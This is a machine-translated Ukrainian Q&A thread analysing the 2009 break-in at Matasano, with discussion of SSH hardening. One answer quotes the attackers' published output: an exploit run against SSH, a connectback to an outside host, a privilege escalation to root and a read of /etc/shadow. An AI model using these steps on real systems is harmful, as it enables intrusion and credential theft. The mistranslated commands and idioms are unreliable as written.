Як Matasano зламали?


10

з: http://seclists.org/fulldisclosure/2009/Jul/0388.html

Якщо я розумію це найкраще з дописів: http://news.ycombinator.com/item?id=723798 хлопці з Matasano залишили доступний доступ до Інтернету sshd - будь-які запропоновані рішення для цього (з точки зору програмування)?


Ну, якщо журнали вірні, то це питання конфігурації відкритих служб і нічого спільного з програмуванням.
blowdart

Відповіді:


34

Як Matasano зламали?

Це неможливо відповісти з інформації в пості до Повного розкриття інформації. Однак міркувати завжди цікаво, оскільки вони дають трохи інформації -

# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Підключення до 69.61.87.163:22 ..
[/] Шукаю дійсного некорінного користувача .. adam
******** R3D4CT3D h4h4h4h4 ********

Вони виконують свій двійковий " th3_f1n41_s01ut10n" сервер Matasano, який підключається до ssh-порту. Він знаходить дійсного некорінного користувача через невідомі засоби, а решта результатів редагується.

# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Слухач Connectback 209.112.118.10:3338 ..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8 г 19 жовтня 2007] 

Бінарний файл запускається знову за допомогою знайденого імені користувача, яке входить у систему та підключається назад до їх сервера на порту 3338 (сподіваюся, що це не зареєстровано у їх імені ...).

adam_at_www: ~ $ uname -a
Linux www 2.6.20.1-1-686 # 1 SMP нд 4 березня 12:44:55 UTC 2007 i686 GNU / Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****

Це може означати, що вони мають 0 днів проти цього ядра, що є досить старим, якщо врахувати запаси цієї компанії.

adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # кішка / тощо / тінь 

Уопс - раптом користувач тепер корінь. Вони мають місцевий експлуатування привілеїв в / tmp, який може бути 0-денним, про який вони згадували.

Отже, тут відбувається щонайменше два подвиги - експлуатація OpenSSH для отримання дійсного некорінного користувача в системі та вхід у систему як цього користувача, а потім ескалація локальних привілеїв.

Враховуючи, що OpenSSH має декілька відомих проблем безпеки з версії 4.5:

Від сторінки безпеки в OpenSSH :

  • OpenSSH до версії 5.2 вразливий до слабкості протоколу, описаної в CPNI-957037 "Атака відновлення Plaintext проти SSH". Однак, виходячи з обмеженої кількості доступних відомостей, здається, що описана атака нездійсненна в більшості обставин. Для отримання додаткової інформації зверніться до рекомендацій cbc.adv та приміток до випуску OpenSSH 5.2.
  • OpenSSH 4.9 і новіші версії не виконуються ~/.ssh/rcдля сеансів, команда яких переосмислена директивою sshd_config (5) ForceCommand. Це була задокументована, але небезпечна поведінка (описана в примітках до випуску OpenSSH 4.9).
  • OpenSSH 4.7 і новіші версії не відступають від створення надійних файлів cookie аутентифікації X11, коли не довіряється генерування файлів cookie (наприклад, через навмисне вичерпання ресурсів), як описано в примітках до випуску OpenSSH 4.7.

Я думаю, що це старе ядро ​​Linux і старший демон SSH зробили для них. Крім того, він працював на їх веб-сервері, який доступний в Інтернеті, що, на мою думку, досить впевнено. Люди, які ввірвалися, очевидно, хотіли збентежити їх.

Як попередити ці напади?

Цьому можна було попередити ініціативне адміністрування - переконатися, що будь-які сервіси, пов’язані з Інтернетом, є виправленими, а також обмеження кількості людей, які можуть підключитися, а не дозволяти людям з'єднуватися з будь-якого місця. Цей епізод поєднує урок про те, що безпечне адміністрування системи є важким, і вимагає відданості бізнесу, щоб забезпечити час ІТ для того, щоб все виправляти - насправді це не те, що відбувається легко, принаймні у менших компаніях.

Найкраще використовувати підхід "брекет-діапазон" - використання автентифікації з відкритим ключем, створення білого списку на ssh-демон, двофакторну автентифікацію, обмеження IP та / або введення всього за VPN можливі маршрути для його блокування.

Думаю, я знаю, чим завтра буду займатися на роботі. :)


2
Потрібен дійсний відкритий ключ, щоб мати можливість увійти через OpenSSH. Не дурний доказ, але допомагає. Хороший пост btw.
Андріоїд

Хороший момент, додано :)
Cawflands

1
Варто зазначити, що рядок версії OpenSSH далеко не надійне керівництво щодо того, чи були виправлені вунерабіліти через різні виправлення версій для Linux версій. Крім того, жодна з помилок тут, ймовірно, не дозволить користувачеві увійти без деяких досить серйозних порушників.
Cian

3

Люди люблять створювати FUD через це, але, схоже, вони знали, що користувач adam вже був там, і також знали його пароль (можливо, через грубу силу чи інші методи). Однак вони хочуть виглядати круто і створювати цю суєту в усьому.

Ще одна цікава річ - це те, що користувач adam не входив у цю скриньку більше року:

(вихід останнього журналу)

 adam             pts/1    ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008

Тому він, певно, зберігав цей пароль (можливо, поганий) деякий час.

* Якби у них дійсно був інструмент для виявлення імен користувачів через SSH, вони могли б використовувати всіх інших користувачів для отримання віддаленого доступу, але вони використовували найпоширеніше ім’я користувача у цьому полі (легко здогадатися).


2

Чому б ви намагалися вирішити це з точки зору програмування?

Натомість слід вирішити це з точки зору смарт-сервера та адміністратора. У коментарях опублікованих посилань є кілька чудових пропозицій, як-от використання білого списку.

Я також хотів би додати це, оскільки ви запитуєте тут, ви, швидше за все, жодним чином не експертом з безпеки, і все, що ви могли б подумати, щоб написати, додало б лише більше дірок. Це насправді зовсім не питання програмування.


одна пропозиція була білим списком?

яка все ще не є проблемою програмування, це проблема конфігурації
blowdart


@Sneakyness Я не є експертом з питань безпеки будь-яким способом - але дякую, що вказав на це - ось я задаю ці питання, тому я можу навчитися - і дякую за спробу заборонити мені писати про щось, про що я хотів би дізнатися - чи це питання програмування чи не прогмагування - я залишлю це експертам з питань безпеки, щоб відповісти - ВИ
ВКЛЮЧЕНО

2

Захистіть своє програмне забезпечення від 0-денних атак ... що неможливо.

Можливо, одним із добрих підходів є твердження, що ваше програмне забезпечення не працює, що призведе до того, що білі тести випробувати його та розкрити все, залишаючи менше дірок. У Oracle 10 була така заява, то наступного дня було знайдено 9 нових дірок. Його зараз досить безпечно.

Швидше за все, хакер зловживав конфігурацією ідеально хорошого програмного забезпечення


Ми впевнені, що це був навіть нульовий день?
Джош Броуер

2

мені здається, що на цій машині було так багато користувачів із снарядами. Ось так вони отримали право власності, все інше - це червона оселедець, призначена відволіктися. Один з них отримав задній шрифт клієнта ssh на іншій оболонковій машині, і швидше за все, це закінчилося грою. надавати всім акаунтам оболонок і робити доступними для світу sshd - це просто ліниво і нерозумно.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.